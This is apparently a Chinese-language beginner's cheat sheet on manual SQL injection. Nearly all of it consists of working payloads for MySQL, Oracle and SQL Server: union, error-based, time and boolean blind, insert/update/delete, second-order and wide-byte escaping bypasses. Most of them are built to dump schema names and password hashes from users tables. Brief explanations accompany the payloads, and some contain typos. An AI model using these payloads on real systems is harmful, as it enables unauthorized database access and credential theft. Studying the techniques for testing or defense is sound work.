適合新手的SQL手工注入總結
雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。這只是一個簡單的總結,只是簡單的為新手分享一下SQL注入,文中內容可能會存在錯誤,望大佬們手下留情!
0x01 Mysql 手工注入
1.1 聯合注入
?id=1' order by 4--+?id=0' union select 1,2,3,database()--+?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+#group_concat(column_name) 可替換為 unhex(Hex(cast(column_name+as+char)))column_name
?id=0' union select 1,2,3,group_concat(password) from users --+#group_concat 可替換為 concat_ws(',',id,users,password )
?id=0' union select 1,2,3,password from users limit 0,1--+
1.2 報錯注入
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
每個一個報錯語句都有它的原理:
exp() 報錯的原理:exp 是一個數學函數,取e的x次方,當我們輸入的值大于709就會報錯,然后 ~ 取反它的值總會大于709,所以報錯。
updatexml() 報錯的原理:由于 updatexml 的第二個參數需要 Xpath 格式的字符串,以 ~ 開頭的內容不是 xml 格式的語法,concat() 函數為字符串連接函數顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。
爆庫:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +爆數據:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- + #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
這里需要注意的是它加了連接字符,導致數據中的 md5 只能爆出 31 位,這里可以用分割函數分割出來:
substr(string string,num start,num length);#string為字符串,start為起始位置,length為長度 ?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
1.3 盲注
1.3.1 時間盲注
時間盲注也叫延時注入 一般用到函數 sleep() BENCHMARK() 還可以使用笛卡爾積(盡量不要使用,內容太多會很慢很慢)
一般時間盲注我們還需要使用條件判斷函數
#if(expre1,expre2,expre3)當 expre1 為 true 時,返回 expre2,false 時,返回 expre3 #盲注的同時也配合著 mysql 提供的分割函substr、substring、left
我們一般喜歡把分割的函數編碼一下,當然不編碼也行,編碼的好處就是可以不用引號,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
1.3.2 布爾盲注
?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +#如果 IFNULL 第一個參數的表達式為 NULL,則返回第二個參數的備用值,不為 Null 則輸出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +#若所有的字符串均相同,STRCMP() 返回 0,若根據當前分類次序,第一個參數小于第二個,則返回 -1 ,其它情況返回 1
1.4 insert,delete,update
insert,delete,update 主要是用到盲注和報錯注入,此類注入點不建議使用 sqlmap 等工具,會造成大量垃圾數據,一般這種注入會出現在 注冊、ip頭、留言板等等需要寫入數據的地方,同時這種注入不報錯一般較難發現,我們可以嘗試性插入、引號、雙引號、轉義符 \ 讓語句不能正常執行,然后如果插入失敗,更新失敗,然后深入測試確定是否存在注入
1.4.1 報錯
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");Query OK, 1 row affected (0.00 sec) mysql> select * from admin;+------+-----------------------------------------------+----------+| id | username | password |+------+-----------------------------------------------+----------+| 1 | admin | admin || 1 | and 1=1 | admin || 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |+------+-----------------------------------------------+----------+3 rows in set (0.00 sec) mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' #delete 注入很危險,很危險,很危險,切記不能使用 or 1=1 ,or 右邊一定要為falsemysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
1.4.2 盲注
#int型 可以使用 運算符 比如 加減乘除 and or 異或 移位等等mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");Query OK, 1 row affected (5.00 sec) mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");Query OK, 1 row affected (0.00 sec) #字符型注意閉合不能使用andmysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");Query OK, 1 row affected (0.00 sec) mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");Query OK, 1 row affected (5.01 sec) # delete 函數 or 右邊一定要為 falsemysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);Query OK, 0 rows affected (0.00 sec) mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);Query OK, 0 rows affected (5.00 sec) #update 更新數據內容mysql> select * from admin;+------+----------+----------+| id | username | password |+------+----------+----------+| 2 | 1 | admin || 2 | 1 | admin || 2 | 1 | admin || 2 | admin | admin |+------+----------+----------+4 rows in set (0.00 sec) mysql> update admin set id="5"+sleep(5)+"" where id=2;Query OK, 4 rows affected (20.00 sec)Rows matched: 4 Changed: 4 Warnings: 0
1.5 二次注入與寬字節注入
二次注入的語句:在沒有被單引號包裹的sql語句下,我們可以用16進制編碼他,這樣就不會帶有單引號等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;+----+-----------+-------+| id | name | pass |+----+-----------+-------+| 1 | admin | admin || 2 | admin'111 | 11111 || 3 | admin'--+ | 11 |+----+-----------+-------+4 rows in set (0.00 sec)
二次注入在沒有源碼的情況比較難發現,通常見于注冊,登錄惡意賬戶后,數據庫可能會因為惡意賬戶名的問題,將 admin'--+ 誤認為 admin 賬戶
寬字節注入:針對目標做了一定的防護,單引號轉變為 \', mysql 會將 \編碼為 %5c,寬字節中兩個字節代表一個漢字,所以把 %df加上 %5c就變成了一個漢字“運”,使用這種方法成功繞過轉義,就是所謂的寬字節注入
id=-1%df' union select... #沒使用寬字節%27 -> %5C%27 #使用寬字節%df%27 -> %df%5c%27 -> 運'
0x02 Oracle 手工注入
2.1 聯合注入
?id=-1' union select user,null from dual--?id=-1' union select version,null from v$instance--?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--?id=-1' union select username,passwd from users--?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
2.2 報錯注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
2.3 盲注
2.3.1 布爾盲注
既然是盲注,那么肯定涉及到條件判斷語句,Oracle除了使用IF the else end if這種復雜的,還可以使用 decode() 函數。
語法:decode(條件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
該函數的含義如下:
IF 條件=值1 THEN RETURN(返回值1)ELSIF 條件=值2 THEN RETURN(返回值2) ......ELSIF 條件=值n THEN RETURN(返回值n)ELSE RETURN(缺省值)END IF ?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--?id=1' and ascii(substr(user,1,1))> 64-- #二分法
2.3.2 時間盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)函數進行時間盲注,這個函數可以指定延遲的時間
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
0x03 SQL server 手工注入
3.1 聯合注入
?id=-1' union select null,null--?id=-1' union select @@servername, @@version--?id=-1' union select db_name(),suser_sname()--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
3.2 報錯注入
?id=1' and 1=(select 1/@@servername)--?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
3.3 盲注
3.3.1 布爾盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
3.3.2 時間盲注
?id= 1';if(2>1) waitfor delay '0:0:5'--?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--